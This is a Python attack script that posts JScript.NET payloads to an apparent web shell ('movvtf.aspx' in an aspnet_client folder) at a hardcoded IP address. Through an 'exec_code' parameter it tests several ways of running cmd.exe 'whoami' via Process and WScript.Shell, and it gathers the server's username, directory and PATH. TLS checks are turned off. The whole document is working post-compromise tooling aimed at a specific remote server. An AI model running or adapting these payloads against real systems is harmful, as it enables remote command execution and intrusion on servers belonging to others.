#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"
tests = {
 "proc_fullpath": 'try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="C:\\\\Windows\\\\System32\\\\cmd.exe";p.StartInfo.Arguments="/c whoami";p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();Response.Write("OK<"+o+">");}catch(e){Response.Write("EXC:"+e.message);}',
 "proc_shellexec": 'try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="cmd.exe";p.StartInfo.Arguments="/c whoami";p.StartInfo.RedirectStandardOutput=true;p.Start();Response.Write("OK"+p.StandardOutput.ReadToEnd());}catch(e){Response.Write("EXC:"+e.message);}',
 "wscript": 'try{var sh=new ActiveXObject("WScript.Shell");var x=sh.Exec("cmd.exe /c whoami");Response.Write("OK<"+x.StdOut.ReadAll()+">");}catch(e){Response.Write("EXC2:"+e.message);}',
 "diagnose": 'Response.Write("ID:"+System.Environment.UserName+"|DIR:"+System.Environment.CurrentDirectory+"|PF:"+System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE")+"|PATH:"+System.Environment.GetEnvironmentVariable("PATH"));',
}
for n, c in tests.items():
    try:
        r = requests.post(EVAL, headers={'Content-Type': 'application/x-www-form-urlencoded'},
                          params={"exec_code": c}, verify=False, timeout=30)
        body = r.text.split('!BD')[0]
        print(f"[{n}] {r.status_code} {body[:300]!r}", flush=True)
    except Exception as e:
        print(f"[{n}] err {type(e).__name__} {str(e)[:90]}", flush=True)